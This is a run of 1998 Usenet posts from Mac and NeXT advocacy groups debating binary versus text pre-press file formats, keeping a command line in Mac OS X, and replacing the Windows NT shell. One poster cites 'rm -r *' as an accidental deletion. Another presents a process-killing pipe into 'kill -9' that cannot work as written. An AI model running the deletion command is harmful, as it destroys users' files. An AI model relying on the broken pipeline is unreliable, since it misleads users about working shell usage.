>>> graphics. Are you claiming that PS manipulation is going to be able to
>>> handle the needs of such pre-press?
>>
>> No, I'll let Adobe's release of PostScript Extreme make that claim for
>me.
>>It's for precisely this use that they invented it.
>>
>
>PostScript Extreme handles 3x3/4x4 transform matrices? Kool?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez1Cn0.30u@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <Ez16AM.M0p@T-FCN.Net> <B21C325B-B7CB9@206.165.43.114>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 21:20:59 GMT
In <B21C325B-B7CB9@206.165.43.114> "Lawson English" wrote:
> Actually, my last job involved creating a 24-bit TIFF reader to read the
> output from a microscope workstation and time the manipulation of the image
> using simple filters written in PPC assembler vs those written in C.
Fair enough, point withdrawn.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez1Cs9.347@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
References: <Ez0tuH.DuH@T-FCN.Net> <B21C0D5F-2CBE6@206.165.43.114>
<Ez16AM.M0p@T-FCN.Net> <35F6D9DD.36CB7180@ericsson.com>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 21:24:08 GMT
In <35F6D9DD.36CB7180@ericsson.com> Michael Peck wrote:
> No, you've obviously missed his point entirely. When reading in from the
> text file, you will have to write a lexer/parser and actually read the
> code yourself and then pseudo-compile it into the datatypes you're going
> to be using.
No, I did not miss the point, you have to do the exact same thing
regardless of the format. If I write out a float using C's functions, I
still have to parse it on the way in and read a float. Unless you have an
object soup, you have to do a serialization and at that point there is no
demonstratable advantage for _either_ format that isn't offset by some other
advantage in the other.
The "code" was a def, that doesn't illustrate anything. That struct could
be written out as text, c types, dots on paper.
> With the *code* Lawson posted, the point is that the data is represented
> as a struct datatype: on this machine, 2 bytes, then 4 bytes, then 1
> byte. When Lawson reads from a binary file those bytes will be read
> directly into his C struct.
And so will my text file, with the exception that it will do a depp
recursion and trim loops. This is not an issue.
> The disadvantage to this is that he is subject to byte-order problems,
> which limits the portability of his file format. One solution is a
> compile-time option that determines whether a byte-swap is necessary.
> Another solution is to use only structures aligned on word boundaries.
Another is to use OpenStep and let it handle it all for you, which it does.
Except for bit fields, I have to pad them out.
> Well, let me put this issue to rest, then. I *have* written code to
> directly manipulate TIFF files and it is very easy to support a basic
> subset of the specification. I have never written a PostScript
> parser/interpreter, and have no wish to.
Neither have I, but I was able to manipulate PS.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez1Cv9.39F@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <Ez16Dt.M3s@T-FCN.Net> <B21C3414-BE44E@206.165.43.114>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 21:25:57 GMT
In <B21C3414-BE44E@206.165.43.114> "Lawson English" wrote:
> It would really depend on which makes more sense, sub-class NURBS to deal
> with beziers or sub-class beziers to deal with NURBS.
Or both being a direct subclass of NSPath. Mathematical relationships do
not map 1:1 onto class structure, in fact the rarely do.
> is an ostrich a subclass of bird? Why or why not?
Now you have it upside down.
Maury
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Message-ID: <1998090921334400.RAA06501@ladder01.news.aol.com>
Date: 9 Sep 1998 21:33:44 GMT
Organization: AOL http://www.aol.com
References: <6t6mvn$fv5@shelob.afs.com>
Another member of the Apple, Mac team who also worked at NeXT was Susan Kare,
the graphic designer responsible for much of the look of the Mac (and
presumably the Lisa) interface, and most (if not all of the bitmap fonts).
As I understand it, she supervised Keith Olfs work on the NeXT interface.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mobile Pentium II 300 MHz
Date: 9 Sep 1998 21:28:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t6ruf$co8@newsb.netnews.att.com>
Originator: gupta@tlctest
Intel has lowered the core voltage of the mobile Pentium II
at 300 MHz to 1.6 V, so that the maximum power at 300 MHz of the
processor core & L2 cache is 11.6 W.
(http://developer.intel.com/design/mobile/datashts/243669.htm)
For comparison, IBM's 2.0 V core PPC 750 uses 4.7W max. at 333 MHz.
(This is without L2.)
-arun gupta
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 10 Sep 1998 04:37:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7l31$11t@news1.panix.com>
References: <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <6sibgk$ssh@news1.panix.com> <89DA80382AE9C9D2.B50B13F0EB2D178E.DA44ABF2DF68B50A@library-proxy.airnews.net> <6t1514$mfe@news1.panix.com> <35F6CF88.A0FD3D5D@ericsson.com>
On Wed, 09 Sep 1998 13:57:12 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Sal Denaro wrote:
>> Apple is in business to sell Apple products, not "Apple religion" or
>> "Free software religion" or anything else.
>Does anyone have a clue what these platitudes mean? Sorry to be blunt,
>but they all sound like a lot of talk without saying anything at all.
>
>Here's a better idea: go to WWW.NEWS.COM and read the article entitled:
>"Sun Plans To Work With NT". Here's a URL link for you:
The new AppleshareIP works with NT as well. And MacOSX Server runs samba.
YellowBox runs on NT. WebObjects works on NT. QuickTime works on NT.
ColorSync is being ported to NT.
I fail to see your point. How is Apple not working with NT or Unix?
>Apple needs to engage Unix, it needs to engage Linux, it needs to engage
-------------------^^^^^^^^^
Apple's new OS is Unix based. How is Apple not engaging Unix?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 04:37:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7l35$11t@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com>
On Tue, 08 Sep 1998 14:42:03 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>A Tcl/Tk GUI interface had to be written just for MacOS. If I were the
>developer, I really don't know whether it would be worth the extra time
>just to get a few extra users from the tiny MacOS market. One more
>barrier to entry.
Any reason why that Tcl/TK gui wouldn't be useful on non-mac systems?
IIRC, Think Pascal let me build CLI style Apps under MacOS 6.0x on my SE/30.
I see no reason why swig, perl or anything else couldn't be run this way.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 04:38:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7l38$11t@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t42t0$bvn$1@nnrp1.dejanews.com>
On Tue, 08 Sep 1998 20:09:05 GMT,
quinlan@intergate.bc.ca <quinlan@intergate.bc.ca> wrote:
>First of all, the CLI will have to be maintained for Mac OS Server so the
>energy must be expended even if the CLI doesn't show up in OS X. Second, Mac
>OS developers will want a CLI and Apple could save some money by replacing
>MPW with a more traditional shell. Third, the shell and standard utilities
>are very useful for software developers. You can leverage them to add
>functionality to your applications. For example, say you wanted to add a
>check box in your save dialog which, when checked, would automatically zip
>the file for the user. With a shell and standard utilities you could do this
>in a few lines of code.
Fifth, if Apple doesn't provide a CLI, there will be a half dozen 3rd party
CLIs within a few weeks. That has the potential of being a bigger resource
drain (lib, name, header et al conflicts) then just shipping it.
People in Apple will be running the CLI, and presumably maintaining it for
their own use. Apple might as well add value to the OS by shipping what
will be written anyway.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 10 Sep 1998 04:38:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7l39$11t@news1.panix.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <6t46ui$t3v$1@fir.prod.itd.earthlink.net> <qXtJ1.3902$2s.3810070@newsfeed.slurp.net>
On Wed, 09 Sep 1998 11:49:42 GMT, Dan <dan@knowspaam.com> wrote:
>With Win95, Win98, and/or NT, you can even disable the Explorer (which is
>what gives you your desktop, taskbar, folder windows, etc.) and replace it
>with a different Window Manager.
This is true (I've done it. I even wrote a replacement for systray.exe)
but there are MANY problems.
1) If you remove Explorer as the shell, you can only have one copy of
Explorer.exe running.
2) File associations do not work as advertised without the default shell
3) Some apps fail to run. (Strangly IE sometimes works without Explorer)
4) Some config settings can only be done from My Computer or Network
Neighborhood.
others that I can't think of right now...
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 00:37:02 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F7657E.C56E76A9@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 10 Sep 1998 05:38:49 GMT
William Edward Woody wrote:
> I think this illustrates both a strength and weakness of a CLI-
> style environment: while this is certainly faster, it is also a
> hell of a lot more intimidating to the novice.
The only remotely complex things about what I posted:
1) shell pipes
2) regular expressions
Pipes are a crucial concept and I think the fact that GUIs by and large
lack them is a massive failing. Regular expressions are simply a skill,
a useful one. Learn the skill and you have mastered an important
resource.
CLIs don't go out of their way to be complex. They're complex because
they offer more power. Compartmentalizing and then learning, compartment
by compartment, each of the skills is the key to becoming more
effective, no matter what you're learning. You don't have to use
anything you don't understand. I could have posted a much simpler but
longer method and it would have been equally valid. God knows I'm
anything but an expert; RSA encryption has been done in three lines of
Perl. I'm not anywhere near that.
[cut]
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 00:46:17 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F767A9.F72D95C@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net>
Mime-Version: 1.0
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NNTP-Posting-Date: 10 Sep 1998 05:48:05 GMT
William Edward Woody wrote:
> This goes back to the issue of working with well-designed GUI
> applications. A well designed GUI application is supposed to be
> forgiving: it is supposed to have an 'undo' mechanism, and warn
> you about an operation that cannot be undone. If you accidently
> close the wrong window, you can reopen it. If you accidently
> drop to the wrong place, you should just be able to hit "undo".
You know, I'm glad you said this because it gave me a fascinating (to
me, anyway) idea. Has anyone ever heard of a CLI shell that supported
'undo' actions? This would be so interesting to investigate.
> You mean you don't pause a moment as you are dragging a bunch of
> files and think "should I do this" before you release the mouse button?
No! Pardon me if I sound immodest, but I'm working fast! I don't have
time to stop and take extra time to think every time I move a bunch of
files in a GUI.
> It's the same facility you use when you pause a moment and think
> "should I do this" before hitting the return button.
Like I've already pointed out, the return button can represent much more
activity at the CLI than a simple drag can in the GUI. In the CLI, yes,
I often do pause, but only sometimes, and only when I'm about to do
something big. This rarely happens in a GUI.
> And as to your brother wiping out a bunch of your work: it's not
> like he couldn't have done the same sort of thing in a CLI.
Of course he could have. You'll note that I wasn't illustrating a
*difference*, but rather a *commonality*.
> The only difference is that the GUI is a friendlier environment
> to beginners. But it's not like he couldn't have typed something
> like 'rm -r *' from the wrong directory--it's only that he
> is less likely to do that.
In all fairness, he couldn't have deleted my files at a Linux prompt,
since he doesn't have write permission to my files.
> What makes you think GUI apps load very slowly? Most of the GUI apps
> I've written, and a few I have used, are able to get off the ground
> very quickly, in less than a couple of seconds.
Exactly. Compare a couple of seconds to a couple of milliseconds. Almost
all CLI programs operate as filters and thus are quite small. They load
extremely quickly; this is why a command like
ps auxww | grep netscape | grep -v grep | awk '{print $2}' | kill -9
executes in less than a second, despite the fact that it contains five
commands. The 'ps' actually takes most of the time, since it has to read
in the entire process table.
[cut]
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Q] Rhapsody and Unix
Date: 10 Sep 1998 04:47:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7lki$19n@news1.panix.com>
References: <35F6C61A.9F1247E3@ericsson.com> <6t6imh$flf@shelob.afs.com>
On 9 Sep 1998 18:50:57 GMT, Gregory H. Anderson
<Greg_Anderson@afs.com> wrote:
>As I have opined before, I will be STUNNED if /bin, /lib, /etc, and
>/usr/sbin/ disappear entirely from Mac OS X. I'm not saying it WON'T
>happen, just that I will be very surprised if they go.
I got the impression that Apple will need to provide (at a minimum)
/bin/sh to parse the rc files needed to boot the OS. How are they
going to start up samba, AppleShareIP and Apache? From a systemwide
Startup folder?
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <gregorylo-1009980122540001@cpu2522.adsl.bellglobal.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137>
Date: Thu, 10 Sep 1998 05:22:49 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 01:22:49 EDT
Organization: Bell Solutions
Let's see if I can summarize this CLI thread:
1. Some people want/need to have the CLI option left in
2. Some people want/see a need to removed the CLI option
Judging from the previous posts, I divide those actively involved into
major camps and further group them according to motive.
1. Those who want to restrict the options for users (developers are
special users)
2. Those who want to enable alternate options for users.
3. Those who want a scalable architecture. (I guess that's part of #2)
and possible motives
1.1 Those who want to restrict options for users to protect the novices.
1.2 Those who want to restrict options for users because they feel
strongly in the superiority of a single option.
1.3 Those who want to restrict options for users because they feel
strongly in the inferiority of a other options.
1.4 Those who want to restrict options for users because they want to
reduce confusion of choice.
1.5 Those who want to restrict options for users because they feel it is a
waste of time/effort to pursue other options.
2.1 Those who want to enable alternate options for users because they have
need of different tools in different situations.
2.2 Those who want to enable alternate options for users because they want
flexibility.
2.3 Those who want to enable alternate options for users because they want
to confuse novices :)
Heh. Yeah, that was pretty transparent, wasn't it. :)
Myself, I'd like to keep the CLI as an option, yet hide it from the casual
user. Sort of like how the Finder in MacOS 8 has a "simple" mode with
less menu items and one-click access; there could be an advanced mode as
well.
GLo
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <6t46ui$t3v$1@fir.prod.itd.earthlink.net> <qXtJ1.3902$2s.3810070@newsfeed.slurp.net> <6t7l39$11t@news1.panix.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <8%QJ1.680$ML1.733743@newsfeed.slurp.net>
Date: Thu, 10 Sep 1998 14:03:48 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 07:03:48 PDT
Organization: Slurp News Feeds
Sal Denaro wrote in message <6t7l39$11t@news1.panix.com>...
>On Wed, 09 Sep 1998 11:49:42 GMT, Dan <dan@knowspaam.com> wrote:
>>With Win95, Win98, and/or NT, you can even disable the Explorer (which is
>>what gives you your desktop, taskbar, folder windows, etc.) and replace it
>>with a different Window Manager.
>
>This is true (I've done it. I even wrote a replacement for systray.exe)
>but there are MANY problems.
>
>1) If you remove Explorer as the shell, you can only have one copy of
>Explorer.exe running.
Not true. If your running NT, all you have to do is modify these registry
settings:
- Go to key HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon\
- Change the data string "Shell" (currently to EXPLORER.EXE) to
"yourpath\Window Manager.exe"
- Go to key HKLM\SOFTWARE\Microsoft\Windows\Current Version\Explorer\
- (or HKCU\SOFTWARE\Microsoft\Windows\Current Version\Explorer\ for
user-specific edition)
- Create a key of type DWORD named DesktopProcess and give it a value of 1
(this will allow explorer to run more than one instance in spite of the
fact that it is not the shell)
- Check step.rc, there are a couple of documented modifications you have
to do for WinNT
Warning:
--------
If you use Microsoft IE4, the above modification will not work, you'll
need to
modify the following:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browse
NewProcess
String Value:
BrowseNewProcess
Data:
YES
NO
if set to yes, it allows more than one explorer window to be up.
>2) File associations do not work as advertised without the default shell
I have not found any that don't work so far.
>3) Some apps fail to run. (Strangly IE sometimes works without Explorer)
No problems thus far.
>4) Some config settings can only be done from My Computer or Network
>Neighborhood.
You can still get to My Computer and Network Neighborhood. Or was that not
what you were talking about?
Dan
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Wed, 9 Sep 1998 22:29:36 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6t7h6v$hci2@odie.mcleod.net>
References: <6sva1t$12381@odie.mcleod.net> <B2188FA4-337A1@206.165.43.166> <6svstq$au61@odie.mcleod.net>
I am sorry to respond to my own post, but several important points have not
made it into discussion to my satisfaction.
----------------------------------------------------------------------------
-------
File formats:
Binary files are nice as long as the format of the binary data is well
defined. Otherwise it is hard for apps that did not create the binary file
to read and make sense of the data. Binary files are usually smaller than
text files. Binary files are usually faster to process than text files.
Binary files are usually less flexible, harder to use, and impossible for
mere mortals to read and understand.
Human readable text files are usually bigger than equivalent binary files.
Human readable text files are usually slower to process than binary files.
Human readable text files are almost always more flexible. They can be read
and understood by anyone but Mr. English. Any text processor can edit human
readable text files.
Good news! We don't have to choose. We can have both! Any graph of
interconnected objects can be stored in either format.
XML is a good candidate for the definition/storage of arbitrary data
including graphs of interconnected objects.
----------------------------------------------------------------------------
-----------
----------------------------------------------------------------------------
-----------
We all agree that we can store arbitrary graphs of interconnected objects in
data files. Now, what objects shall we store ?
Specifically regarding graphical "shape" based data, the following much
discussed classes and structures are likely candidates for inclusion in data
files:
NSString, NSData, NSArray, NSDictionary, NSNumber, NSAffineTransformation,
NSBezierPath
NSImage, NSColor, NSFont, NSPoint, NSRect, NSSize, NSTextContainer, any
other object.
line style, fill style, line end style, line cap style, NSArrays of
NSBezierPaths, NSDictionaries of NSColors, NSData containing compressed
bank statements, NSArrays of NSDictionaries of custom key/value pairs.
Any data file composed of these elements in any combination can be read and
processed automatically on any computer with YellowBox installed. Every
computer with the ability the edit UNICODE can process the text
representation of any of these elements in any combination.
---------------------------------------------------------------
---------------------------------------------------------------
Power and Flexibility
Given the above information, any 2D vector or raster image can be stored in
a data file that can be read and processed on practically any computer.
Computers with YellowBox can process any such file graphically.
Any user defined objects of arbitrary complexity can be stored in the data
files described. Currently, the binary versions of these data files can
only be correctly processed on computers with access to the definition of
every object in the data file. The human readable text data files do not
have this limitation.
For those with no imagination, this means the Michelles4by4Matrix object can
be stored. This means the MichellesCompositeShape objects can be stored.
This means the MichellesPixelCompositeTransformer object can be stored.
This means the MichellesNURBPath object can be stored. This means the
MichellesExtraCleverPerspectivedEditableText can be stored. This means I
can store instances of MichellsStyle objects that are shared by all other
objects in the data file.
These are OPEN file formats in the most powerful way. I can extend the
basic capabilities provided by Apple and the resulting data files can still
be correctly processed by others.
GX is a toy in comparison! If I want to store 3D data in GX I am out of
luck. With YellowBox I can store 3D. If I want to subclass the GX paint
objects I am out of luck. If I want to store NURBs in GX I am out of luck.
If I want to do pre-press processing on a Sun server using emacs and sed, I
am out of luck with GX. If I want to use my favorite German spell checker
to spell check all non-italic text in GX, I am out of luck.
-------------------------------------------------------------------
Mr. English
In the last week alone Mr. English has insinuated that I can not do
arbitrary pixel by pixel color transformation on an image via Yellow Box
APIs. He was wrong. He insinuated that I could not store arbitrary shapes
that are editable as shapes by other people with other applications. He was
wrong. He insinuated that I could not store style objects that are shared
by other objects. He was wrong. He insinuated that I could not edit text
along a path. He was wrong. He insinuated that I could not create and
store editable 2 1/2 D skewed to look like perspective text. He was wrong.
He insinuated that I could not store NURBs, and he was wrong. He insinuated
that I could not perform hit detection of arbitrary shapes. He was wrong.
He complained that alpha channel transparency as defined by Apple and Tiff
was insufficient. He was wrong. He claimed that pre-press processing of
data files to accomplish tasks like adding and removing water marks is not
possible. He was wrong. He claimed that I have not been doing these thing
since 1988/1989. He was wrong.
Mr.. English has not even tried the technology he is deriding. He does not
know what he is talking about.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Thu, 10 Sep 1998 00:25:03 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F762AF.AE864121@nstar.net>
References: <Ez0tuH.DuH@T-FCN.Net> <B21C0D5F-2CBE6@206.165.43.114>
<Ez16AM.M0p@T-FCN.Net> <35F6D9DD.36CB7180@ericsson.com> <Ez1Cs9.347@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 10 Sep 1998 05:26:52 GMT
Maury Markowitz wrote:
> No, I did not miss the point, you have to do the exact same thing
> regardless of the format. If I write out a float using C's functions, I
> still have to parse it on the way in and read a float. Unless you have an
> object soup, you have to do a serialization and at that point there is no
> demonstratable advantage for _either_ format that isn't offset by some other
> advantage in the other.
That's plainly untrue. The first example required reading in *first* the
data *type*. Subsequently, the data itself had to be read in as a string
and then converted to the appropriate type. They are totally different
examples. Reading from a binary the way Lawson demonstrated involves
nothing more than ingesting raw data bytes. Your text file requires
parsing and type conversion. There is a *very* demonstrable performance
difference, and if you like I will send you the code to prove it.
> The "code" was a def, that doesn't illustrate anything. That struct could
> be written out as text, c types, dots on paper.
Surely. Whether or not that data is appropriate for the task at hand is
a completely different matter. Lawson's example involved reading data
directly into a struct, the simplest way of reading a binary file.
> > With the *code* Lawson posted, the point is that the data is represented
> > as a struct datatype: on this machine, 2 bytes, then 4 bytes, then 1
> > byte. When Lawson reads from a binary file those bytes will be read
> > directly into his C struct.
>
> And so will my text file, with the exception that it will do a depp
> recursion and trim loops. This is not an issue.
No, this is simply not so! When you read in "9999999" your parser will
be reading in one character byte at a time. That's seven bytes, not
including whatever type identifier you have attached to it. If one line
of your text file looks like this:
integer: 9999999
that is a total of 17 character bytes to be read, including the carriage
return. Once your loop terminates on the newline character, you then
have to split on the ':', drop the leading space from the second string
fragment, and convert '9999999' to an integer. This is many times slower
than simply reading four bytes into a struct.
Again, the appropriateness of any format depends on what you are doing
with it. If your format is predictable to any degree, it will be faster
to do it the way Lawson describes. If, on the other hand, you are using
unpredictable data like a markup language, it *may* be more desirable to
use text. It all depends on the purpose of your format. Efficiency is a
*secondary* consideration.
> Another is to use OpenStep and let it handle it all for you, which it does.
> Except for bit fields, I have to pad them out.
All true.
> Neither have I, but I was able to manipulate PS.
Of course you were, you have a class that's already written to do that.
You were the one who introduced this as a matter of efficiency.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 00:57:19 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F76A3F.CEAA6265@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 10 Sep 1998 05:59:06 GMT
John Heaney wrote:
> The are quite a number of people that don't work in front of a computer
> all day. They just use it to fire off a letter, check email type up and
> invoice; that sort of thing. It's very important that the computer be
> simple to use for these people. Teachers are an excellent example of this
> level of user. The use it for grades and typing up lesson plans, but they
> spend the rest of the day in front of another sort of souless machine
> students.
I'm not trying to outlaw the GUI! Please, don't accuse me of that. I've
already gone through the ordeal of defending the GUI against Chuck
Swiger. I was simply responding to what I thought was a minimization of
the CLI, especially as regards this whole concept of "hiding the CLI"
from users who would ostensibly be frightened by it.
> Well, isn't that, like, typical of Windoze? Surely, Apple can do better
> than that!
You're quite right on this, or at least I hope so. And I should
apologize; I have discovered that WINIPCFG is actually a GUI program. I
should have used something like 'ping' as a better example.
> The strength of the Mac OS is (was) that it is (was) the computer for the
> rest of us. Simplicity and ease of use are the flags we all salute.
I used to as well, but I thought that the reason for it was that
simplicity *was* power. I have since found that simplicity *can* be
power, but more often it comes at the expense of power. Being a
professional powermonger, I have switched tracks in order to make more
money. ;-)
> If
> Apple throws in a CLI for the average user then they will probably get a
> lot of tech support calls they can do without.
